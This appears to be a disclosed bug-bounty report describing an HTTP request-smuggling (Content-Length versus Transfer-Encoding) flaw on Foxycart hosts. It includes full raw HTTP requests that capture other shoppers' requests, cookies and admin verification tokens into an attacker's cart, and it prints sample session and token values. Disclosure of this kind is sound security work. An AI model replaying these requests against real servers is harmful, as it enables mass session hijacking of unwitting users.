Summary by AnkitSingh
Description
I've found an HTTP Desync (Request Smuggling) vulnerability affecting the Foxycart asset *-bugcrowd.foxycart.com
. It was observed that the front end server is using Content-Length
while the back end server is making use of Transfer-Encoding
header to determine the length of HTTP request. This desynchronization in determining the length of request between the servers could be abused into escalating a Mass Session Hijacking (Mass Account Takeover) scenario by utilizing the POST parameters of urlencoded form to log requests of legit users.
Proof of Concept - Basic
1) Replay the following request quite a few times -:
POST /cart HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: █████████████████████████
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 171
Transfer-Encoding : chunked
30
name=Cool%20Example&price=10&color=red&code=4520
0
GET /cache?url=https://s3.envato.com/files/224212193/You%20Have%20Been%20Hacked%20590x332.jpg HTTP/1.1
X-Foo: X
Make sure to use your own Foxycart custom instance for replaying the above request so as to ensure that no legit user would be accessing it and noone would be affected in the realtime. You can use Turbo Intruder for this purpose or even the inbuilt Burp's intruder in some cases provided that your instance suffers relatively low traffic.
2) Simultaneously, from a different public IP address, make some POST requests towards any endpoint of instance.foxycart.com
(alongwith any POST parameters and cookie values) and observe that following response is rendered irrespective of request endpoint and POST data -:
So as a conclusion, everytime an attacker would initiate such ambiguous request as shown in step(1), then a random legit user from anywhere requesting the same instance would be served with the response as shown in step(2) instead of the legit expected response.
Proof of Concept - Mass Session Hijacking
Now one of the consequence of the reported vulnerability is that an attacker can leverage it into Mass Session Hijacking. Before proceeding, let's understand one of the basic functionality of instance.foxycart.com
, which is if I make a POST request as -:
POST /cart HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: █████████████████████████
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
name=Cool%20Example&price=10&color=red&code=4520
Then at my https://instance.foxycart.com/cart
I can see an item added and saved in the cart with the value of color
parameter being saved there (in this case it's red
).
This simply means, if I make a request as -:
POST /cart HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: █████████████████████████
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
name=Cool%20Example&price=10&color=xxxxxxxxx&code=4520
Then if I will visit at https://instance.foxycart.com/cart
I'll see value of color
param xxxxxxxxx
stored there. Which simply means, if I put the color
param at the end of the POST body and make a request like this -:
POST /cart HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: █████████████████████████
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1243
Transfer-Encoding : chunked
30
name=Cool%20Example&price=10&color=red&code=4520
0
POST /cart HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: █████████████████████████
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1300
name=Cool%20Example&price=10&code=4520&color=
Please NOTE that above is a single request (not multiple) that attacker would initiate. Observe the last param color
at the end of POST body. Means, after making this above request, whosoever be the next legit user, making any POST request, then their POST request would get appended as the value of last color
param of smuggled request. Afterwards, when the attacker will navigate to their https://instance.foxycart.com/cart
then he/she will see victim's HTTP request being logged in his cart, with all the headers, cookie values.
So I made the above ambiguous request (as an attacker), then made the following legit request as a victim -:
POST /x HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: optimizelyEndUserId=oeu1579830073961r0.5233278836804898; optimizelySegments=%7B%22234346863%22%3A%22search%22%2C%22234587425%22%3A%22false%22%2C%22234696064%22%3A%22ff%22%7D; optimizelyBuckets=%7B%7D; __utma=91412365.2063671220.1579830076.1584894698.1584901658.8; __utmz=91412365.1584549558.4.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=https%3A%2F%2Fadmin.foxycart.com%2Fadmin.php%3FThisAction%3DTrustedBrowser_complete%26access%3DYTMzZDIxM2I2YWVhYTA3MmIzZTRlMmE1MGE0MjhmZThkNGYwYTk3MTA5YTEyNTA5MzU2MzNlMGZhNTNmYWNjYw%3D%3D%26ua%3DZmZlNzQwNGExOTI1YjMyZDJjMjA4YWJlY2QyMDNjYzZjZGI1NTRjNTM2NGUxNThiNjVhOTZkNjVkYmI0NmY1MA%3D%3D; __utmv=91412365.|1=user_type=programmer=1^2=trial=0.1=1; fcsid=fsrg6emsh70ef882u6a2gv6f20
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
abc=123
Then navigating to https://instance.foxycart.com/cart
rendered this -:
In this logged request you can observe -:
i) Observe the presence of fcsid
cookie value. Now attacker has the access to it. Means attacker has hijacked the buyer's session.
ii) Observe the presence of https://admin.foxycart.com/admin.php?ThisAction=TrustedBrowser_complete&access=ZGFmNjI3ZDU0NmQ2MjM0ZWE1NjUxY2Y3ZmQzYmRiNGQwZWUzYmUwNDkzZTZkNzJhODczMGUyYzNjNmFlNTcxYw==&ua=ZmZlNzQwNGExOTI1YjMyZDJjMjA4YWJlY2QyMDNjYzZjZGI1NTRjNTM2NGUxNThiNjVhOTZkNjVkYmI0NmY1MA==
in the cookies. This URL in cookie is having that same value that the user (victim) had used to verify their login for https://admin.foxycart.com
. So if user (victim) is having an admin account at https://admin.foxycart.com
then this value of victim is now accessed by the attacker.
iii) Observe some new headers in the victim's logged request, which the victim's request was not having initially. This means that the front end server while forwarding the request to back end server, rewrites it. And while it rewrites, it adds these headers to it. So as we can see this value of victim's re-written request is now accessed by attacker.
Impact
The interesting part of this vulnerability is, no user (victim) interaction is required. Any victim from anywhere will simply request instance.foxycart.com
but still their session would be hijacked. Another thing is that in this manner attacker can takeover enormous number of buyer's sessions against different carts at *.foxycart.com
available on web. All that attacker needs to do is just make the above request, wait for a second or two, check your cart at https://instance.foxycart.com/cart
and everytime you will see someone's session logged in there.
References
1) https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
2) https://portswigger.net/research/http2
(NOTE that this finding was a result of Cloudfront being vulnerable to HTTP Desync attacks back in 2020. Later on in 2020 itself AWS fixed this issue and now Cloudfront would reject such requests which would exhibit ambiguity.)